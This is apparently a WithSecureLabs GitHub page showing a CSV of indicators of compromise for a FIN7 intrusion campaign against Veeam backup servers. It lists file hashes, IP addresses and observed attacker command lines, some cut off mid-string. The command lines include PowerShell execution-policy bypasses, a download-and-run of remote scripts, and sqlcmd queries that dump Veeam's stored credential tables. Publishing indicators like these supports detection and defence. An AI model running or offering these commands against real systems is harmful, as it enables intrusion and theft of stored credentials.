Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

WithSecureLabs / iocs Public

Notifications Fork 4 Star 14

Code Issues Pull requests Actions Projects Security Insights

Files

344203d

Go to file

- DUCKTAIL
- FIN7VEEAM
  - iocs.csv
- SILKLOADER
- LICENSE
- README.md

iocs / FIN7VEEAM / iocs.csv

Singh, Neeraj Added FIN7VEEAM iocs dc07fab · last year History

Preview Code Blame 50 lines (50 loc) · 4.66 KB Raw

Search this file

Indicator type	Value
SHA1	8687b6b1508a93556d6e30d14e5c4ee9971f2d80
SHA1	b621f8c5e9033718b4e9d47a2f0eccb9783f612a
SHA1	e5480a47172e3f75dbf0384f4ca82c7b47910e0f
IP	217.12.206.176
IP	162.248.225.115
IP	45.136.199.128
IP	91.149.243.181
IP	91.199.147.152
IP	95.217.49.123
IP	77.75.230.112
IP	194.87.148.41
IP	195.123.244.162
Command line	powershell.exe -noni -nop -exe bypass -f \\XXX.XXX.XXX.XXX\ADMIN$\temp\nFcv5ke38cnE.ps1
Command line	powershell.exe -noni -nop -exe bypass -f \\XXX.XXX.XXX.XXX\ADMIN$\temp\8MDg144UDiaz.ps1 \\XXX.X
Command line	C:\Windows\system32\cmd.exe /c powershell.exe -ex bypass -Command "iex ((New-Object Net.WebClie
Command line	powershell.exe -ex bypass -noprof -nolog -nonint -f "C:\Windows\TEMP\934F.ps1"
Command line	curl -O https://temp.sh/eJkTm/gup18.ps1
Command line	whoami
Command line	systeminfo
Command line	ping -n 1 -a XXX.XXX.XXX.XXX
Command line	wmic /user:"REDACTED" /password:"REDACTED" /node:"XXX.XXX.XXX.XXX" process list brief
Command line	net use w: \\XXX.XXX.XXX.XXX\c$ /user:XXX.XXX.XXX.XXX\REDACTED REDACTED
Command line	net use w: /d /y
Command line	WMIC LOGICALDISK GET Name,Size,FreeSpace
Command line	ipconfig /all
Command line	tasklist /v
Command line	netstat -aon
Command line	nslookup myip.opendns.com. resolver1.opendns.com
Command line	reg query "HKLM\software\veeam\veeam backup and replication"
Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup-2 SELECT top 100 * FROM Credentials;

32	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM JobSourceRep
33	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM BJobs.VSphere
34	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM SmbFileShares
35	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM VSphere.Work
36	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM ObjectsInBack
37	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM BackupReposi
38	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM PhysicalHosts
39	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Ssh_creds;"
40	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostNetwork;
41	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostCreds;"
42	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Backups;"
43	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Locations;"
44	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM BJobs;"
45	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM PhysicalHosts
46	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM ObjectsInJobs
47	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM Hosts;"
48	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM JobVssCredsV
49	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostsByJobs;"
50	Command line	sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q "use VeeamBackup SELECT top 100 * FROM HostCreds;"